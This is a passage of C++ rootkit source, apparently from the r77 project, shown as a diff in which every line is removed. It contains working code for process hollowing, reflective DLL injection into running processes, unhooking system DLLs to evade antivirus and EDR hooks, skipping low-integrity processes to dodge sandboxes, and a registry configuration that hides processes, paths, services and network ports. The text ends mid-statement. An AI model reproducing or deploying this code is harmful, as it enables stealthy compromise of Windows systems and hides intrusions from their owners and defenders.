{ - LPBYTE dllBase = (LPBYTE)pebEntry->DllBase; - PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(dllBase + ((PIMAGE_DOS_HEADER)dllBase)->e_lfanew); - PIMAGE_EXPORT_DIRECTORY exportDirectory = (PIMAGE_EXPORT_DIRECTORY)(dllBase + ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); - LPDWORD nameDirectory = (LPDWORD)(dllBase + exportDirectory->AddressOfNames); - LPWORD nameOrdinalDirectory = (LPWORD)(dllBase + exportDirectory->AddressOfNameOrdinals); - - // Find function by hash - for (DWORD i = 0; i < exportDirectory->NumberOfNames; i++, nameDirectory++, nameOrdinalDirectory++) - { - if (libc::strhash((LPCSTR)(dllBase + *nameDirectory)) == functionHash) - { - return dllBase + *(LPDWORD)(dllBase + exportDirectory->AddressOfFunctions + *nameOrdinalDirectory * sizeof(DWORD)); - } - } - - return NULL; - } - } - while ((pebEntry = (nt::PLDR_DATA_TABLE_ENTRY)pebEntry->InMemoryOrderModuleList.Flink) != firstPebEntry); - - return NULL; -} -BOOL RunPE(LPCWSTR path, LPBYTE payload) -{ - // For 32-bit (and 64-bit?) process hollowing, this needs to be attempted several times. - // This is a workaround to the well known stability issue of process hollowing. - for (DWORD i = 0; i < 5; i++) - { - DWORD processId = 0; - PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(payload + ((PIMAGE_DOS_HEADER)payload)->e_lfanew); - - if (ntHeaders->Signature == IMAGE_NT_SIGNATURE) - { - PROCESS_INFORMATION processInformation; - STARTUPINFOW startupInfo; - ZeroMemory(&processInformation, sizeof(processInformation)); - ZeroMemory(&startupInfo, sizeof(startupInfo)); - - if (CreateProcessW(path, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &startupInfo, &processInformation)) - { - processId = processInformation.dwProcessId; - - //TODO: NtUnmapViewOfSection here - - LPVOID imageBase = VirtualAllocEx(processInformation.hProcess, (LPVOID)ntHeaders->OptionalHeader.ImageBase, ntHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); - if (imageBase && WriteProcessMemory(processInformation.hProcess, imageBase, payload, ntHeaders->OptionalHeader.SizeOfHeaders, NULL)) - { - BOOL sectionsWritten = TRUE; - - for (int j = 0; j < ntHeaders->FileHeader.NumberOfSections; j++) - { - PIMAGE_SECTION_HEADER sectionHeader = (PIMAGE_SECTION_HEADER)((ULONG_PTR)IMAGE_FIRST_SECTION(ntHeaders) + j * (ULONG_PTR)IMAGE_SIZEOF_SECTION_HEADER); - - if (!WriteProcessMemory(processInformation.hProcess, (LPBYTE)imageBase + sectionHeader->VirtualAddress, (LPBYTE)payload + sectionHeader->PointerToRawData, sectionHeader->SizeOfRawData, NULL)) - { - sectionsWritten = FALSE; - break; - } - } - - if (sectionsWritten) - { - LPCONTEXT context = (LPCONTEXT)VirtualAlloc(NULL, sizeof(CONTEXT), MEM_COMMIT, PAGE_READWRITE); - if (context) - { - context->ContextFlags = CONTEXT_FULL; - - if (GetThreadContext(processInformation.hThread, context)) - { -#ifdef _WIN64 - if (WriteProcessMemory(processInformation.hProcess, (LPVOID)(context->Rdx + sizeof(LPVOID) * 2), &ntHeaders->OptionalHeader.ImageBase, sizeof(LPVOID), NULL)) - { - context->Rcx = (DWORD64)imageBase + ntHeaders->OptionalHeader.AddressOfEntryPoint; - if (SetThreadContext(processInformation.hThread, context) && - ResumeThread(processInformation.hThread) != -1) - { - return TRUE; - } - } -#else - if (WriteProcessMemory(processInformation.hProcess, (LPVOID)(context->Ebx + sizeof(LPVOID) * 2), &ntHeaders->OptionalHeader.ImageBase, sizeof(LPVOID), NULL)) - { - context->Eax = (DWORD)imageBase + ntHeaders->OptionalHeader.AddressOfEntryPoint; - if (SetThreadContext(processInformation.hThread, context) && - ResumeThread(processInformation.hThread) != -1) - { - return TRUE; - } - } -#endif - } - } - } - } - } - } - - if (processId != 0) - { - HANDLE process = OpenProcess(PROCESS_TERMINATE, FALSE, processId); - if (process) - { - TerminateProcess(process, 0); - } - } - } - - return FALSE; -} -BOOL InjectDll(DWORD processId, LPBYTE dll, DWORD dllSize, BOOL fast) -{ - BOOL result = FALSE; - - // Unlike with "regular" DLL injection, the bitness must be checked explicitly. - BOOL is64Bit; - if (Is64BitProcess(processId, &is64Bit) && (is64Bit == TRUE) == (sizeof(LPVOID) == 8)) - { - HANDLE process = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, processId); - if (process) - { - // Check, if the executable name is on the exclusion list (see: PROCESS_EXCLUSIONS) - if (!IsProcessExcluded(processId)) - { - // Do not inject critical processes (smss, csrss, wininit, etc.). - ULONG breakOnTermination; - if (NT_SUCCESS(NtQueryInformationProcess(process, PROCESSINFOCLASS::ProcessBreakOnTermination, &breakOnTermination, sizeof(ULONG), NULL)) && !breakOnTermination) - { - // Sandboxes tend to crash when injecting shellcode. Only inject medium IL and above. - DWORD integrityLevel; - if (GetProcessIntegrityLevel(process, &integrityLevel) && integrityLevel >= SECURITY_MANDATORY_MEDIUM_RID) - { - // Get function pointer to the shellcode that loads the DLL reflectively. - DWORD entryPoint = GetExecutableFunction(dll, "ReflectiveDllMain"); - if (entryPoint) - { - LPBYTE allocatedMemory = (LPBYTE)VirtualAllocEx(process, NULL, dllSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); - if (allocatedMemory) - { - if (WriteProcessMemory(process, allocatedMemory, dll, dllSize, NULL)) - { - HANDLE thread = NULL; - if (NT_SUCCESS(nt::NtCreateThreadEx(&thread, 0x1fffff, NULL, process, allocatedMemory + entryPoint, allocatedMemory, 0, 0, 0, 0, NULL)) && thread) - { - if (fast) - { - // Fast mode is for bulk operations, where the return value of this function is ignored. - // The return value of DllMain is not checked. This function just returns TRUE, if NtCreateThreadEx succeeded. - result = TRUE; - } - else if (WaitForSingleObject(thread, 100) == WAIT_OBJECT_0) - { - // Return TRUE, only if DllMain returned TRUE. - // DllMain returns FALSE, for example, if r77 is already injected. - DWORD exitCode; - if (GetExitCodeThread(thread, &exitCode)) - { - result = exitCode != 0; - } - } - - CloseHandle(thread); - } - } - } - } - } - } - } - - CloseHandle(process); - } - } - - return result; -} -DWORD GetExecutableFunction(LPBYTE image, LPCSTR functionName) -{ - BOOL is64Bit; - if (IsExecutable64Bit(image, &is64Bit) && is64Bit == (sizeof(LPVOID) == 8)) - { - PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(image + ((PIMAGE_DOS_HEADER)image)->e_lfanew); - PIMAGE_EXPORT_DIRECTORY exportDirectory = (PIMAGE_EXPORT_DIRECTORY)(image + RvaToOffset(image, ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress)); - LPDWORD nameDirectory = (LPDWORD)(image + RvaToOffset(image, exportDirectory->AddressOfNames)); - LPWORD nameOrdinalDirectory = (LPWORD)(image + RvaToOffset(image, exportDirectory->AddressOfNameOrdinals)); - - for (DWORD i = 0; i < exportDirectory->NumberOfNames; i++) - { - if (strstr((PCHAR)(image + RvaToOffset(image, *nameDirectory)), functionName)) - { - return RvaToOffset(image, *(LPDWORD)(image + RvaToOffset(image, exportDirectory->AddressOfFunctions) + *nameOrdinalDirectory * sizeof(DWORD))); - } - - nameDirectory++; - nameOrdinalDirectory++; - } - } - - return 0; -} -DWORD RvaToOffset(LPBYTE image, DWORD rva) -{ - PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(image + ((PIMAGE_DOS_HEADER)image)->e_lfanew); - PIMAGE_SECTION_HEADER sections = (PIMAGE_SECTION_HEADER)((LPBYTE)&ntHeaders->OptionalHeader + ntHeaders->FileHeader.SizeOfOptionalHeader); - - if (rva < sections[0].PointerToRawData) - { - return rva; - } - else - { - for (WORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) - { - if (rva >= sections[i].VirtualAddress && rva < sections[i].VirtualAddress + sections[i].SizeOfRawData) - { - return rva - sections[i].VirtualAddress + sections[i].PointerToRawData; - } - } - - return 0; - } -} -VOID UnhookDll(LPCWSTR name) -{ - if (name) - { - WCHAR path[MAX_PATH + 1]; - if (Is64BitOperatingSystem() && sizeof(LPVOID) == 4) lstrcpyW(path, L"C:\\Windows\\SysWOW64\\"); - else lstrcpyW(path, L"C:\\Windows\\System32\\"); - - lstrcatW(path, name); - - // Get original DLL handle. This DLL is possibly hooked by AV/EDR solutions. - HMODULE dll = GetModuleHandleW(name); - if (dll) - { - MODULEINFO moduleInfo = { }; - if (GetModuleInformation(GetCurrentProcess(), dll, &moduleInfo, sizeof(MODULEINFO))) - { - // Retrieve a clean copy of the DLL file. - HANDLE dllFile = CreateFileW(path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); - if (dllFile != INVALID_HANDLE_VALUE) - { - // Map the clean DLL into memory - HANDLE dllMapping = CreateFileMappingW(dllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL); - if (dllMapping) - { - LPVOID dllMappedFile = MapViewOfFile(dllMapping, FILE_MAP_READ, 0, 0, 0); - if (dllMappedFile) - { - PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((ULONG_PTR)moduleInfo.lpBaseOfDll + ((PIMAGE_DOS_HEADER)moduleInfo.lpBaseOfDll)->e_lfanew); - - for (WORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) - { - PIMAGE_SECTION_HEADER sectionHeader = (PIMAGE_SECTION_HEADER)((ULONG_PTR)IMAGE_FIRST_SECTION(ntHeaders) + (i * (ULONG_PTR)IMAGE_SIZEOF_SECTION_HEADER)); - - // Find the .text section of the hooked DLL and overwrite it with the original DLL section - if (!lstrcmpiA((LPCSTR)sectionHeader->Name, ".text")) - { - LPVOID virtualAddress = (LPVOID)((ULONG_PTR)moduleInfo.lpBaseOfDll + (ULONG_PTR)sectionHeader->VirtualAddress); - DWORD virtualSize = sectionHeader->Misc.VirtualSize; - - DWORD oldProtect; - VirtualProtect(virtualAddress, virtualSize, PAGE_EXECUTE_READWRITE, &oldProtect); - RtlCopyMemory(virtualAddress, (LPVOID)((ULONG_PTR)dllMappedFile + (ULONG_PTR)sectionHeader->VirtualAddress), virtualSize); - VirtualProtect(virtualAddress, virtualSize, oldProtect, &oldProtect); - - break; - } - } - } - - CloseHandle(dllMapping); - } - - CloseHandle(dllFile); - } - } - - FreeLibrary(dll); - } - } -} -BOOL IsProcessExcluded(DWORD processId) -{ - WCHAR processName[MAX_PATH + 1]; - if (GetProcessFileName(processId, FALSE, processName, MAX_PATH)) - { - LPCWSTR exclusions[] = PROCESS_EXCLUSIONS; - for (int i = 0; i < sizeof(exclusions) / sizeof(LPCWSTR); i++) - { - if (!lstrcmpiW(processName, exclusions[i])) - { - return TRUE; - } - } - } - - return FALSE; -} - -PINTEGER_LIST CreateIntegerList() -{ - PINTEGER_LIST list = new INTEGER_LIST(); - list->Count = 0; - list->Capacity = 16; - list->Values = new ULONG[list->Capacity]; - return list; -} -VOID LoadIntegerListFromRegistryKey(PINTEGER_LIST list, HKEY key) -{ - DWORD count; - if (RegQueryInfoKeyW(key, NULL, NULL, NULL, NULL, NULL, NULL, &count, NULL, NULL, NULL, NULL) == ERROR_SUCCESS) - { - WCHAR valueName[100]; - - for (DWORD i = 0; i < count; i++) - { - DWORD valueNameLength = 100; - DWORD type; - DWORD value; - DWORD valueSize = sizeof(DWORD); - - if (RegEnumValueW(key, i, valueName, &valueNameLength, NULL, &type, (LPBYTE)&value, &valueSize) == ERROR_SUCCESS && type == REG_DWORD && !IntegerListContains(list, value)) - { - IntegerListAdd(list, value); - } - } - } -} -VOID DeleteIntegerList(PINTEGER_LIST list) -{ - delete[] list->Values; - ZeroMemory(list, sizeof(INTEGER_LIST)); - delete list; -} -VOID IntegerListAdd(PINTEGER_LIST list, ULONG value) -{ - if (list->Count == list->Capacity) - { - list->Capacity += 16; - PULONG newValues = new ULONG[list->Capacity]; - RtlCopyMemory(newValues, list->Values, list->Count * sizeof(ULONG)); - - PULONG oldValues = list->Values; - list->Values = newValues; - delete[] oldValues; - } - - list->Values[list->Count++] = value; -} -BOOL IntegerListContains(PINTEGER_LIST list, ULONG value) -{ - for (DWORD i = 0; i < list->Count; i++) - { - if (list->Values[i] == value) return TRUE; - } - - return FALSE; -} -BOOL CompareIntegerList(PINTEGER_LIST listA, PINTEGER_LIST listB) -{ - if (listA == listB) - { - return TRUE; - } - else if (listA == NULL || listB == NULL) - { - return FALSE; - } - else if (listA->Count != listB->Count) - { - return FALSE; - } - else - { - for (ULONG i = 0; i < listA->Count; i++) - { - if (listA->Values[i] != listB->Values[i]) return FALSE; - } - - return TRUE; - } -} - -PSTRING_LIST CreateStringList(BOOL ignoreCase) -{ - PSTRING_LIST list = new STRING_LIST(); - list->Count = 0; - list->Capacity = 16; - list->IgnoreCase = ignoreCase; - list->Values = new LPWSTR[list->Capacity]; - return list; -} -VOID LoadStringListFromRegistryKey(PSTRING_LIST list, HKEY key, DWORD maxStringLength) -{ - DWORD count; - if (RegQueryInfoKeyW(key, NULL, NULL, NULL, NULL, NULL, NULL, &count, NULL, NULL, NULL, NULL) == ERROR_SUCCESS) - { - WCHAR valueName[100]; - PWCHAR value = new WCHAR[maxStringLength + 1]; - - for (DWORD i = 0; i < count; i++) - { - DWORD valueNameLength = 100; - DWORD type; - DWORD valueSize = maxStringLength; - - if (RegEnumValueW(key, i, valueName, &valueNameLength, NULL, &type, (LPBYTE)value, &valueSize) == ERROR_SUCCESS && type == REG_SZ && !StringListContains(list, value)) - { - StringListAdd(list, value); - } - } - - delete[] value; - } -} -VOID DeleteStringList(PSTRING_LIST list) -{ - for (ULONG i = 0; i < list->Count; i++) - { - delete[] list->Values[i]; - } - - delete[] list->Values; - ZeroMemory(list, sizeof(STRING_LIST)); - delete list; -} -VOID StringListAdd(PSTRING_LIST list, LPCWSTR value) -{ - if (value) - { - if (list->Count == list->Capacity) - { - list->Capacity += 16; - LPWSTR *newValues = new LPWSTR[list->Capacity]; - RtlCopyMemory(newValues, list->Values, list->Count * sizeof(LPWSTR)); - - LPWSTR *oldValues = list->Values; - list->Values = newValues; - delete[] oldValues; - } - - list->Values[list->Count] = new WCHAR[lstrlenW(value) + 1]; - lstrcpyW(list->Values[list->Count++], value); - } -} -BOOL StringListContains(PSTRING_LIST list, LPCWSTR value) -{ - if (value) - { - for (DWORD i = 0; i < list->Count; i++) - { - if (list->IgnoreCase ? !lstrcmpiW(list->Values[i], value) : !lstrcmpW(list->Values[i], value)) return TRUE; - } - } - - return FALSE; -} -BOOL CompareStringList(PSTRING_LIST listA, PSTRING_LIST listB) -{ - if (listA == listB) - { - return TRUE; - } - else if (listA == NULL || listB == NULL) - { - return FALSE; - } - else if (listA->Count != listB->Count) - { - return FALSE; - } - else - { - for (ULONG i = 0; i < listA->Count; i++) - { - if (listA->IgnoreCase && listB->IgnoreCase ? lstrcmpiW(listA->Values[i], listB->Values[i]) : lstrcmpW(listA->Values[i], listB->Values[i])) return FALSE; - } - - return TRUE; - } -} - -BOOL GetR77Processes(PR77_PROCESS r77Processes, LPDWORD count) -{ - BOOL result = TRUE; - DWORD actualCount = 0; - - LPDWORD processes = new DWORD[10000]; - DWORD processCount = 0; - HMODULE *modules = new HMODULE[10000]; - DWORD moduleCount = 0; - BYTE moduleBytes[512]; - - if (EnumProcesses(processes, 10000 * sizeof(DWORD), &processCount)) - { - processCount /= sizeof(DWORD); - - for (DWORD i = 0; i < processCount; i++) - { - HANDLE process = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, processes[i]); - if (process) - { - if (EnumProcessModules(process, modules, 10000 * sizeof(HMODULE), &moduleCount)) - { - moduleCount /= sizeof(HMODULE); - - for (DWORD j = 0; j < moduleCount; j++) - { - if (ReadProcessMemory(process, (LPBYTE)modules[j], moduleBytes, 512, NULL)) - { - WORD signature = *(LPWORD)&moduleBytes[sizeof(IMAGE_DOS_HEADER)]; - if (signature == R77_SIGNATURE || signature == R77_SERVICE_SIGNATURE || signature == R77_HELPER_SIGNATURE) - { - if (actualCount < *count) - { - r77Processes[actualCount].ProcessId = processes[i]; - r77Processes[actualCount].Signature = signature; - r77Processes[actualCount++].DetachAddress = signature == R77_SIGNATURE ? *(DWORD64*)&moduleBytes[sizeof(IMAGE_DOS_HEADER) + 2] : 0; - } - else - { - result = FALSE; - } - - break; - } - } - } - } - - CloseHandle(process); - } - } - } - - delete[] processes; - delete[] modules; - - *count = actualCount; - return result; -} -BOOL DetachInjectedProcess(const R77_PROCESS &r77Process) -{ - BOOL result = FALSE; - - if (r77Process.Signature == R77_SIGNATURE) - { - HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, FALSE, r77Process.ProcessId); - if (process) - { - // R77_PROCESS.DetachAddress is a function pointer to Rootkit::Detach - HANDLE thread = NULL; - if (NT_SUCCESS(nt::NtCreateThreadEx(&thread, 0x1fffff, NULL, process, (LPVOID)r77Process.DetachAddress, NULL, 0, 0, 0, 0, NULL)) && thread) - { - result = TRUE; - CloseHandle(thread); - } - - CloseHandle(process); - } - } - - return result; -} -BOOL DetachInjectedProcess(DWORD processId) -{ - BOOL result = FALSE; - PR77_PROCESS r77Processes = new R77_PROCESS[1000]; - DWORD r77ProcessCount = 1000; - - if (GetR77Processes(r77Processes, &r77ProcessCount)) - { - for (DWORD i = 0; i < r77ProcessCount; i++) - { - if (r77Processes[i].Signature == R77_SIGNATURE && r77Processes[i].ProcessId == processId) - { - result = DetachInjectedProcess(r77Processes[i]); - break; - } - } - } - - delete[] r77Processes; - return result; -} -VOID DetachAllInjectedProcesses() -{ - PR77_PROCESS r77Processes = new R77_PROCESS[1000]; - DWORD r77ProcessCount = 1000; - - if (GetR77Processes(r77Processes, &r77ProcessCount)) - { - for (DWORD i = 0; i < r77ProcessCount; i++) - { - if (r77Processes[i].Signature == R77_SIGNATURE) - { - DetachInjectedProcess(r77Processes[i]); - } - } - } - - delete[] r77Processes; -} -VOID TerminateR77Service(DWORD excludedProcessId) -{ - PR77_PROCESS r77Processes = new R77_PROCESS[1000]; - DWORD r77ProcessCount = 1000; - if (GetR77Processes(r77Processes, &r77ProcessCount)) - { - for (DWORD i = 0; i < r77ProcessCount; i++) - { - if (r77Processes[i].Signature == R77_SERVICE_SIGNATURE && r77Processes[i].ProcessId != excludedProcessId) - { - HANDLE process = OpenProcess(PROCESS_TERMINATE, FALSE, r77Processes[i].ProcessId); - if (process) - { - TerminateProcess(process, 0); - CloseHandle(process); - } - } - } - } - - delete[] r77Processes; -} - -PR77_CONFIG LoadR77Config() -{ - PR77_CONFIG config = new R77_CONFIG(); - config->StartupFiles = CreateStringList(TRUE); - config->HiddenProcessIds = CreateIntegerList(); - config->HiddenProcessNames = CreateStringList(TRUE); - config->HiddenPaths = CreateStringList(TRUE); - config->HiddenServiceNames = CreateStringList(TRUE); - config->HiddenTcpLocalPorts = CreateIntegerList(); - config->HiddenTcpRemotePorts = CreateIntegerList(); - config->HiddenUdpPorts = CreateIntegerList(); - - // Load configuration from HKEY_LOCAL_MACHINE\SOFTWARE\$77config - HKEY key; - if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\" HIDE_PREFIX L"config", 0, KEY_READ | KEY_WOW64_64KEY, &key) == ERROR_SUCCESS) - { - // Read startup files "startup" subkey. - HKEY startupKey; - if (RegOpenKeyExW(key, L"startup", 0, KEY_READ, &startupKey) == ERROR_SUCCESS) - { - LoadStringListFromRegistryKey(config->StartupFiles, startupKey, MAX_PATH); - RegCloseKey(startupKey); - } - - // Read process ID's from the "pid" subkey. - HKEY pidKey; - if (RegOpenKeyExW(key, L"pid", 0, KEY_READ, &pidKey) == ERROR_SUCCESS) - { - LoadIntegerListFromRegistryKey(config->HiddenProcessIds, pidKey); - RegCloseKey(pidKey); - } - - // Read process names from the "process_names" subkey. - HKEY processNameKey; - if (RegOpenKeyExW(key, L"process_names", 0, KEY_READ, &processNameKey) == ERROR_SUCCESS) - { - LoadStringListFromRegistryKey(config->HiddenProcessNames, processNameKey, MAX_PATH); - RegCloseKey(processNameKey); - } - - // Read paths from the "paths" subkey. - HKEY pathKey; - if (RegOpenKeyExW(key, L"paths", 0, KEY_READ, &pathKey) == ERROR_SUCCESS) - { - LoadStringListFromRegistryKey(config->HiddenPaths, pathKey, MAX_PATH); - RegCloseKey(pathKey); - } - - // Read service names from the "service_names" subkey. - HKEY serviceNameKey; - if (RegOpenKeyExW(key, L"service_names", 0, KEY_READ, &serviceNameKey) == ERROR_SUCCESS) - { - LoadStringListFromRegistryKey(config->HiddenServiceNames, serviceNameKey, MAX_PATH); - RegCloseKey(serviceNameKey); - } - - // Read local TCP ports from the "tcp_local" subkey. - HKEY tcpLocalKey; - if (RegOpenKeyExW(key, L"tcp_local", 0, KEY_READ, &tcpLocalKey) == ERROR_SUCCESS) - { - LoadIntegerListFromRegistryKey(config->HiddenTcpLocalPorts, tcpLocalKey); - RegCloseKey(tcpLocalKey); - } - - // Read remote TCP ports from the "tcp_remote" subkey. - HKEY tcpRemoteKey; - if (RegOpenKeyExW(key, L"tcp_remote", 0, KEY_READ, &tcpRemoteKey) == ERROR_SUCCESS) - { - LoadIntegerListFromRegistryKey(config->HiddenTcpRemotePorts, tcpRemoteKey); - RegCloseKey(tcpRemoteKey); - } - - // Read UDP ports from the "udp" subkey. - HKEY udpKey; - if (RegOpenKeyExW(key, L"udp", 0, KEY_READ, &udpKey) == ERROR_SUCCESS) - { - LoadIntegerListFromRegistryKey(config->HiddenUdpPorts, udpKey); - RegCloseKey(udpKey); - } - - RegCloseKey(key); - } - - return config; -} -VOID DeleteR77Config(PR77_CONFIG config) -{ - DeleteStringList(config->StartupFiles); - DeleteIntegerList(config->HiddenProcessIds); - DeleteStringList(config->HiddenProcessNames); - DeleteStringList(config->HiddenPaths); - DeleteStringList(config->HiddenServiceNames); - DeleteIntegerList(config->HiddenTcpLocalPorts); - DeleteIntegerList(config->HiddenTcpRemotePorts); - DeleteIntegerList(config->HiddenUdpPorts); - ZeroMemory(config, sizeof(R77_CONFIG)); - delete config; -} -BOOL CompareR77Config(PR77_CONFIG configA, PR77_CONFIG configB) -{ - if (configA == configB) - { - return TRUE; - } - else if (configA == NULL || configB == NULL) - { - return FALSE; - } - else - { - return - CompareStringList(configA->StartupFiles, configB->StartupFiles) && - CompareIntegerList(configA->HiddenProcessIds, configB->HiddenProcessIds) && - CompareStringList(configA->HiddenProcessNames, configB->HiddenProcessNames) && - CompareStringList(configA->HiddenPaths, configB->HiddenPaths) && - CompareStringList(configA->HiddenServiceNames, configB->HiddenServiceNames) && - CompareIntegerList(configA->HiddenTcpLocalPorts, configB->HiddenTcpLocalPorts) && - CompareIntegerList(configA->HiddenTcpRemotePorts, configB->HiddenTcpRemotePorts) && - CompareIntegerList(configA->HiddenUdpPorts, configB->HiddenUdpPorts); - } -} -BOOL InstallR77Config(PHKEY key) -{ - if (RegCreateKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\" HIDE_PREFIX L"config", 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS | KEY_WOW64_64KEY, NULL, key, NULL) == ERROR_SUCCESS) - { - // Return TRUE, even if setting the DACL fails. - // If DACL creation failed, only elevated processes will be able to write to the configuration system. - PSECURITY_DESCRIPTOR securityDescriptor = NULL; - ULONG securityDescriptorSize = 0; - if (ConvertStringSecurityDescriptorToSecurityDescriptorW(L"D:(A;OICI;GA;;;AU)(A;OICI;GA;;;BA)", SDDL_REVISION_1, &securityDescriptor, &securityDescriptorSize)) - { - RegSetKeySecurity(*key, DACL_SECURITY_INFORMATION, securityDescriptor); - LocalFree(securityDescriptor); - } - - return TRUE; - } - - return FALSE; -} -VOID UninstallR77Config() -{ - // Delete subkeys in HKEY_LOCAL_MACHINE\SOFTWARE\$77config - HKEY key; - if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\" HIDE_PREFIX L"config", 0, KEY_ALL_ACCESS | KEY_WOW64_64KEY, &key) == ERROR_SUCCESS) - { - WCHAR subKeyName[1000]; - for (DWORD subKeyNameLength = 1000; RegEnumKeyExW(key, 0, subKeyName, &subKeyNameLength, NULL, NULL, NULL, NULL) == ERROR_SUCCESS; subKeyNameLength = 1000) - { - RegDeleteKeyW(key, subKeyName); - } - - RegCloseKey(key); - } - - // Delete HKEY_LOCAL_MACHINE\SOFTWARE\$77config - RegDeleteKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\" HIDE_PREFIX L"config", KEY_ALL_ACCESS | KEY_WOW64_64KEY, 0); -} - -DWORD WINAPI ChildProcessListenerThread(LPVOID parameter) -{ - while (true) - { - HANDLE pipe = CreatePublicNamedPipe(sizeof(LPVOID) == 4 ? CHILD_PROCESS_PIPE_NAME32 : CHILD_PROCESS_PIPE_NAME64); - while (pipe != INVALID_HANDLE_VALUE) - { - if (ConnectNamedPipe(pipe, NULL)) - { - DWORD processId; - DWORD bytesRead; - if (ReadFile(pipe, &processId, 4, &bytesRead, NULL)) - { - // Invoke the callback. The callback should inject r77 into the process. - ((PROCESSIDCALLBACK)parameter)(processId); - - // Notify the callee that the callback completed (r77 is injected) and NtResumeThread can be called. - BYTE returnValue = 77; - DWORD bytesWritten; - WriteFile(pipe, &returnValue, sizeof(BYTE), &bytesWritten, NULL); - } - } - else - { - Sleep(1); - } - - DisconnectNamedPipe(pipe); - } - - Sleep(1); - } - - return 0; -} -VOID ChildProcessListener(PROCESSIDCALLBACK callback) -{ - CreateThread(NULL, 0, ChildProcessListenerThread, callback, 0, NULL); -} -BOOL HookChildProcess(DWORD processId) -{ - BOOL result = FALSE; - - BOOL is64Bit; - if (Is64BitProcess(processId, &is64Bit)) - { - // Call either the 32-bit or the 64-bit r77 service and pass the process ID. - // Because a 32-bit process can create a 64-bit child process, or vice versa, injection cannot be performed in the same process. - - HANDLE pipe = CreateFileW(is64Bit ? CHILD_PROCESS_PIPE_NAME64 : CHILD_PROCESS_PIPE_NAME32, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); - if (pipe != INVALID_HANDLE_VALUE) - { - // Send the process ID to the r77 service. - DWORD bytesWritten; - WriteFile(pipe, &processId, sizeof(DWORD), &bytesWritten, NULL); - - // Wait for the response before returning. NtResumeThread should be called after r77 is injected. - BYTE returnValue; - DWORD bytesRead; - result = ReadFile(pipe, &returnValue, sizeof(BYTE), &bytesRead, NULL) && returnValue == 77; - - CloseHandle(pipe); - } - } - - return result; -} - -DWORD WINAPI NewProcessListenerThread(LPVOID parameter) -{ - PNEW_PROCESS_LISTENER notifier = (PNEW_PROCESS_LISTENER)parameter; - - LPDWORD currendProcesses = new DWORD[10000]; - LPDWORD previousProcesses = new DWORD[10000]; - DWORD currendProcessCount = 0; - DWORD previousProcessCount = 0; - - while (true) - { - if (EnumProcesses(currendProcesses, sizeof(DWORD) * 10000, ¤dProcessCount)) - { - currendProcessCount /= sizeof(DWORD); - - for (DWORD i = 0; i < currendProcessCount; i++) - { - // Compare the result of EnumProcesses with the previous list and invoke the callback for new processes. - BOOL isNew = TRUE; - - for (DWORD j = 0; j < previousProcessCount; j++) - { - if (currendProcesses[i] == previousProcesses[j]) - { - isNew = FALSE; - break; - } - } - - if (isNew) notifier->Callback(currendProcesses[i]); - } - - RtlCopyMemory(previousProcesses, currendProcesses, sizeof(DWORD) * 10000); - previousProcessCount = currendProcessCount; - } - - Sleep(notifier->Interval); - } - - return 0; -} -PNEW_PROCESS_LISTENER NewProcessListener(DWORD interval, PROCESSIDCALLBACK callback) -{ - PNEW_PROCESS_LISTENER notifier = new NEW_PROCESS_LISTENER(); - notifier->Interval = interval; - notifier->Callback = callback; - - CreateThread(NULL, 0, NewProcessListenerThread, notifier, 0, NULL); - return notifier; -} - -DWORD WINAPI ControlPipeListenerThread(LPVOID parameter) -{ - while (true) - { - HANDLE pipe = CreatePublicNamedPipe(sizeof(LPVOID) == 4 ? CONTROL_PIPE_NAME : CONTROL_PIPE_REDIRECT64_NAME); - while (pipe != INVALID_HANDLE_VALUE) - { - if (ConnectNamedPipe(pipe, NULL)) - { - DWORD controlCode; - DWORD bytesRead; - if (ReadFile(pipe, &controlCode, 4, &bytesRead, NULL) && bytesRead == sizeof(DWORD)) - { - ((CONTROLCALLBACK)parameter)(controlCode, pipe); - } - } - else - { - Sleep(1); - } - - DisconnectNamedPipe(pipe); - } - - Sleep(1); - } - - return 0; -} -VOID ControlPipeListener(CONTROLCALLBACK callback) -{ - CreateThread(NULL, 0, ControlPipeListenerThread, callback, 0, NULL); -} - -#ifdef EXPORT_REFLECTIVE_DLL_MAIN -BOOL WINAPI ReflectiveDllMain(LPBYTE dllBase) -{ - // All functions that are used in the reflective loader must be found by searching the PEB. - // Functions, such as memcpy need to be handwritten, because no functions are imported, yet. - // Switch statements cannot be used, because a jump table would be created and the shellcode would not be position independent anymore. - - nt::NTFLUSHINSTRUCTIONCACHE ntFlushInstructionCache = (nt::NTFLUSHINSTRUCTIONCACHE)PebGetProcAddress(0x3cfa685d, 0x534c0ab8); - nt::LOADLIBRARYA loadLibraryA = (nt::LOADLIBRARYA)PebGetProcAddress(0x6a4abc5b, 0xec0e4e8e); - nt::GETPROCADDRESS getProcAddress = (nt::GETPROCADDRESS)PebGetProcAddress(0x6a4abc5b, 0x7c0dfcaa); - nt::VIRTUALALLOC virtualAlloc = 